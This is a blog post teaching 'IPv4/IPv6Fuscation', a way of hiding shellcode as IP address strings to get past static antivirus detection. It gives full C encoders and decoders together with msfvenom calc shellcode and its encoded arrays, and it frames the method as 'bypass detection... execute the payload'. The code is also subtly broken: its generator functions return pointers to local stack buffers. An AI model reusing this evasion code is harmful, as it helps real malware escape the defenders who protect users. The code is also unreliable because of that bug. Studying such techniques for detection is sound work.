Kyle Rosario

Malware Obfuscation: IPv4/IPv6

What is Obfuscation?

Malware is one of the most potent and persistent threats in the world of technology. To evade detection and analysis, malware developers often employ various techniques to conceal their malicious code and behavior. One of these techniques is payload obfuscation, which involves transforming the payload into a form that is not easily recognizable by static analysis tools. Payload obfuscation can be achieved by using different encodings, packers, steganography, or custom algorithms. Another technique is payload encryption, which scrambles the payload using a key, making it unreadable without the proper decryption. By combining both techniques, the payload becomes more difficult to understand and recover. In this blog, I will explore the concept and methods of payload obfuscation, and how it differs from payload encryption, another common technique to protect malware from prying eyes. By understanding how payload obfuscation works, we can better defend ourselves against the evolving malware landscape.

IPv4/IPv6Fuscation

In this blog I will cover a unique technique I learned going through one of my malware development courses. It involves turning the malicious data into Internet Protocol (IP) values. IPv4/IPv6Fuscation is a way to hide the shellcode’s bytes by turning them into IPv4 or IPv6 strings. Let’s look at some bytes from the Msfvenom x64 calc shellcode and see how they can be changed into either IPv4 or IPv6 strings.

IPv4Fuscation

In IPv4Fuscation, each byte of the shellcode corresponds to an octet in the resulting IPv4 string. For instance, by converting hex bytes FC, 48, 83, and E4 to decimal format, we obtain the IPv4 string 252.72.131.228. The implementation involves a function, GenerateIpv4, which takes four shellcode bytes and transforms them into an IPv4 string.

Below is the code used to obfuscate any given input, assuming it is an array of bytes:

#include <Windows.h>
#include <stdio.h>

// Disable error 4996 (caused by sprintf)
#pragma warning(disable: 4996)

// Function takes in 4 raw bytes and returns them in an IPv4 string format
char* GenerateIpv4(int a, int b, int c, int d) {
    // The buffer to store the resulting IPv4 address string
    unsigned char Output[32];

    // Creating the IPv4 address and saving it to the 'Output' variable
    sprintf(Output, "%d.%d.%d.%d", a, b, c, d);

    // Optional: Print the 'Output' variable to the console
    // printf("[i] Output: %s\n", Output);

    // Returning the IPv4 address as a string
    return (char*)Output;
}

// Generate the IPv4 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
    // If the shellcode buffer is null or the size is not a multiple of 4, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0) {
        return FALSE;
    }

    // Print the start of the array declaration
    printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));

    // We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 4.
    int c = 4, counter = 0;
    char* IP = NULL;

    // Loop through the shellcode bytes
    for (int i = 0; i < ShellcodeSize; i++) {
        // Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
        if (c == 4) {
            counter++;

            // Generating the IPv4 address from 4 bytes which begin at i until [i + 3]
            IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);

            // Check if it's the last set of 4 bytes
            if (i == ShellcodeSize - 4) {
                // Printing the last IPv4 address
                printf("\"%s\"", IP);
                break;
            }
            else {
                // Printing the IPv4 address
                printf("\"%s\", ", IP);
            }

            // Resetting the byte counter
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 8 == 0) {
                printf("\n\t");
            }
        }
        else {
            // Incrementing the byte counter
            c++;
        }
    }

    // Print the end of the array declaration
    printf("\n};\n\n");

    // Return TRUE to indicate successful execution
    return TRUE;
}

// x64 calc metasploit shellcode {272 bytes} generated with msfvenom
unsigned char rawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

int main() {
    // Generate and print the IPv4 representation of the provided shellcode
    if (!GenerateIpv4Output(rawData, sizeof(rawData))) {
        return -1;
    }

    // Pause to view the result
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}

As always, I have done my best to add comments in the code above explaining what each function is doing.

Output:

IPv6Fuscation

IPv6Fuscation, similar to IPv4Fuscation, transforms shellcode bytes into an IPv6 string. However, in this case, 16 bytes generate one IPv6 address. The conversion process doesn't require decimal format, offering flexibility. For example, the sample shellcode FC48:83E4:F0E8:C000:0000:4151:4150:5251 showcases the transformation. The implementation employs the GenerateIpv6 function, converting 16 shellcode bytes into an IPv6 address.

Below is the code used to obfuscate any given input, assuming it is an array of bytes (I have added comments explaining the functions, which are similar to the IPv4 method):

#include <Windows.h>
#include <stdio.h>

// Disable error 4996 (caused by sprintf)
#pragma warning(disable: 4996)

// Function takes in 16 raw bytes and returns them in an IPv6 address string format
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
    // Each IPv6 segment is 32 bytes
    char Output0[32], Output1[32], Output2[32], Output3[32];

    // There are 4 segments in an IPv6 (32 * 4 = 128)
    char result[128];

    // Generating output0 using the first 4 bytes
    sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);

    // Generating output1 using the second 4 bytes
    sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);

    // Generating output2 using the third 4 bytes
    sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);

    // Generating output3 using the last 4 bytes
    sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);

    // Combining Output0,1,2,3 to generate the IPv6 address
    sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);

    // Optional: Print the 'result' variable to the console
    // printf("[i] result: %s\n", (char*)result);

    // Returning the IPv6 address as a string
    return (char*)result;
}

// Generate the IPv6 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
    // If the shellcode buffer is null or the size is not a multiple of 16, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
        return FALSE;
    }

    // Print the start of the array declaration
    printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));

    // We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 16.
    int c = 16, counter = 0;
    char* IP = NULL;

    // Loop through the shellcode bytes
    for (int i = 0; i < ShellcodeSize; i++) {
        // Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
        if (c == 16) {
            counter++;

            // Generating the IPv6 address from 16 bytes which begin at i until [i + 15]
            IP = GenerateIpv6(
                pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
                pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
                pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
                pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
            );

            // Check if it's the last set of 16 bytes
            if (i == ShellcodeSize - 16) {
                // Printing the last IPv6 address
                printf("\"%s\"", IP);
                break;
            }
            else {
                // Printing the IPv6 address
                printf("\"%s\", ", IP);
            }

            // Resetting the byte counter
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 3 == 0) {
                printf("\n\t");
            }
        }
        else {
            // Incrementing the byte counter
            c++;
        }
    }

    // Print the end of the array declaration
    printf("\n};\n\n");

    // Return TRUE to indicate successful execution
    return TRUE;
}

// x64 calc Msfvenom shellcode {272 bytes}
unsigned char rawData[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

int main() {
    // Generate and print the IPv6 representation of the provided shellcode
    if (!GenerateIpv6Output(rawData, sizeof(rawData))) {
        // if failed, that is sizeof(rawData) isn't a multiple of 16
        return -1;
    }

    // Pause to view the result
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}

Output:

Deobfuscation Process

Once the obfuscated payload bypasses static detection, the deobfuscation process is crucial for execution. IPv4/IPv6Fuscation deobfuscation involves utilizing NTAPI functions, specifically RtlIpv4StringToAddressA and RtlIpv6StringToAddressA. These functions convert string representations of IP addresses back into binary format. To put it in laymans terms, deobfuscation will convert our payload back to its original state so that it may run without errors. The steps are as follows: Obfuscate the payload > Bypass static detection > Deobfuscate the payload > Execute the payload > Kaboom.

Deobfuscating IPv4Fuscation Payloads

The Ipv4Deobfuscation function reverses the IPv4Fuscation process, converting IPv4 strings back into bytes. It utilizes the RtlIpv4StringToAddressA function and allocates memory for the deobfuscated payload. The result is a binary representation ready for execution.

Code snippet:

#include <Windows.h>
#include <stdio.h>

// https://learn.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv4stringtoaddressa
typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
	PCSTR		S,
	BOOLEAN		Strict,
	PCSTR*		Terminator,
    PVOID		Addr
);

// Function that will IPv4 deobfuscate the payload
BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

	PBYTE		pBuffer			= NULL,
			TmpBuffer		= NULL;

	SIZE_T		sBuffSize		= NULL;

	PCSTR		Terminator		= NULL;

	NTSTATUS	STATUS			= NULL;

	// Getting RtlIpv4StringToAddressA address from ntdll.dll
	fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
	if (pRtlIpv4StringToAddressA == NULL){
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Getting the real size of the shellcode which is the number of IPv4 addresses * 4
	sBuffSize = NmbrOfElements * 4;

	// Allocating memory which will hold the deobfuscated shellcode
	pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
	if (pBuffer == NULL){
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Setting TmpBuffer to be equal to pBuffer
	TmpBuffer = pBuffer;

	// Loop through all the IPv4 addresses saved in Ipv4Array
	for (int i = 0; i < NmbrOfElements; i++) {

		// Deobfuscating one IPv4 address at a time
		// Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
		if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
			// if it failed
			printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
			return FALSE;
		}

		// 4 bytes are written to TmpBuffer at a time
		// Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
		TmpBuffer = (PBYTE)(TmpBuffer + 4);

	}

	// Save the base address & size of the deobfuscated payload
	*ppDAddress		= pBuffer;
	*pDSize			= sBuffSize;

	return TRUE;
}

char* Ipv4Array[] = {
		"252.72.131.228", "240.232.192.0", "0.0.65.81", "65.80.82.81", "86.72.49.210", "101.72.139.82", "96.72.139.82", "24.72.139.82",
		"32.72.139.114", "80.72.15.183", "74.74.77.49", "201.72.49.192", "172.60.97.124", "2.44.32.65", "193.201.13.65", "1.193.226.237",
		"82.65.81.72", "139.82.32.139", "66.60.72.1", "208.139.128.136", "0.0.0.72", "133.192.116.103", "72.1.208.80", "139.72.24.68",
		"139.64.32.73", "1.208.227.86", "72.255.201.65", "139.52.136.72", "1.214.77.49", "201.72.49.192", "172.65.193.201", "13.65.1.193",
		"56.224.117.241", "76.3.76.36", "8.69.57.209", "117.216.88.68", "139.64.36.73", "1.208.102.65", "139.12.72.68", "139.64.28.73",
		"1.208.65.139", "4.136.72.1", "208.65.88.65", "88.94.89.90", "65.88.65.89", "65.90.72.131", "236.32.65.82", "255.224.88.65",
		"89.90.72.139", "18.233.87.255", "255.255.93.72", "186.1.0.0", "0.0.0.0", "0.72.141.141", "1.1.0.0", "65.186.49.139",
		"111.135.255.213", "187.224.29.42", "10.65.186.166", "149.189.157.255", "213.72.131.196", "40.60.6.124", "10.128.251.224", "117.5.187.71",
		"19.114.111.106", "0.89.65.137", "218.255.213.99", "97.108.99.0"
};

#define NumberOfElements 68

int main() {

	PBYTE	pDAddress	= NULL;
	SIZE_T	sDSize		= NULL;

	if (!Ipv4Deobfuscation(Ipv4Array, NumberOfElements, &pDAddress, &sDSize))
		return -1;

	printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDAddress, sDSize);
	for (size_t i = 0; i < sDSize; i++){
		if (i % 16 == 0)
			printf("\n\t");

		printf("%0.2X ", pDAddress[i]);
	}

	HeapFree(GetProcessHeap(), 0, pDAddress);

	printf("\n\n[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

As mentioned above, the input/payload that you would have provided from running the Ipv4fuscation should be the resulting output from the deobfuscation program.

Output:

Deobfuscating IPv6Fuscation Payloads

Similarly, the Ipv6Deobfuscation function handles the deobfuscation of IPv6Fuscation payloads. It employs the RtlIpv6StringToAddressA function, ensuring each IPv6 address is transformed into 16 bytes for execution.

Code snippet:

#include <Windows.h>
#include <stdio.h>

// https://learn.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressa
typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
	PCSTR		S,
	PCSTR*		Terminator,
	PVOID		Addr
);

// Function that will deobfuscate the IPv6 payload
BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

	PBYTE		pBuffer		= NULL,
			TmpBuffer	= NULL;

	SIZE_T		sBuffSize = NULL;

	PCSTR		Terminator = NULL;

	NTSTATUS	STATUS = NULL;

	// Getting RtlIpv6StringToAddressA address from ntdll.dll
	fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
	if (pRtlIpv6StringToAddressA == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Getting the real size of the shellcode which is the number of IPv6 addresses * 16
	sBuffSize = NmbrOfElements * 16;

	// Allocating memory which will hold the deobfuscated shellcode
	pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
	if (pBuffer == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	TmpBuffer = pBuffer;

	// Loop through all the IPv6 addresses saved in Ipv6Array
	for (int i = 0; i < NmbrOfElements; i++) {

		// Deobfuscating one IPv6 address at a time
		// Ipv6Array[i] is a single IPv6 address from the array Ipv6Array
		if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
			// if it failed
			printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv6Array[i], STATUS);
			return FALSE;
		}

		// 16 bytes are written to TmpBuffer at a time
		// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
		TmpBuffer = (PBYTE)(TmpBuffer + 16);

	}

	// Save the base address & size of the deobfuscated payload
	*ppDAddress = pBuffer;
	*pDSize = sBuffSize;

	return TRUE;

}

char* Ipv6Array[] = {
		"FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
		"AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
		"8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
		"8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
		"595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
		"D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300"
};

#define NumberOfElements 17

int main() {

	PBYTE	pDAddress = NULL;
	SIZE_T	sDSize = NULL;

	if (!Ipv6Deobfuscation(Ipv6Array, NumberOfElements, &pDAddress, &sDSize))
		return -1;

	printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDAddress, sDSize);
	for (size_t i = 0; i < sDSize; i++) {
		if (i % 16 == 0)
			printf("\n\t");

		printf("%0.2X ", pDAddress[i]);
	}

	HeapFree(GetProcessHeap(), 0, pDAddress);

	printf("\n\n[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

Output:

And Voila. We're done!

Wrapping things up

This shallow dive into Payload Obfuscation, specifically IPv4/IPv6Fuscation, unveils a powerful technique employed by malware developers. Understanding the conversion processes and deobfuscation steps is crucial for cybersecurity professionals in the ongoing battle against evolving threats. In future blogs I hope to go more in depth on obfuscation and deobfuscation methods. In the mean time, make sure to stay curious, stay safe, but more importantly, stay dangerous in the not-so-safe digital universe.